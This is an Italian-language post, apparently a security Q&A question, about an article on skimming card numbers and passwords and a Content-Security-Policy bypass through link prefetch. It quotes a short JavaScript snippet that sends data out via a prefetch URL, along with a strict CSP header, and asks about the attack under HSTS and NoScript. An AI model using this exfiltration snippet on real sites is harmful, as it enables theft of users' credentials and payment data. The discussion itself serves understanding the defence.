L'articolo I'm raccolta di numeri di carta di credito e password dal tuo sito. Ecco come. descrive le fasi di un attacco teorico in cui un utente malintenzionato può ignorare un CSP rigoroso ed estrarre informazioni sensibili. L'articolo afferma che questo script può aggirare CSP:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Questo sfrutta il fatto che il comportamento di prefetch
nello standard CSP è sottodimensionato. In Chrome, questo funziona, ma attualmente Firefox impedisce che ciò accada (il che potrebbe cambiare in seguito ai reclami degli utenti nella segnalazione di bug). L'articolo afferma che funziona anche con la politica di sicurezza più severa:
Content-Security-Policy: default-src 'none'; script-src 'self'
Che è vero perché non esiste attualmente un comportamento di fallback per prefetch
. Tuttavia, la cosa non affrontata è che il codice dell'attaccante deve ancora essere iniettato (fuori linea) in qualche modo. L'articolo "Bypassare la politica di sicurezza dei contenuti con il prefetching DNS" suggerisce che ciò avvenga trovando altrove una vulnerabilità XSS.
Supponendo che il sito Web di destinazione utilizzi HSTS e che un utente che visita il sito Web utilizzi NoScript, come si presenta un vettore di attacco simile?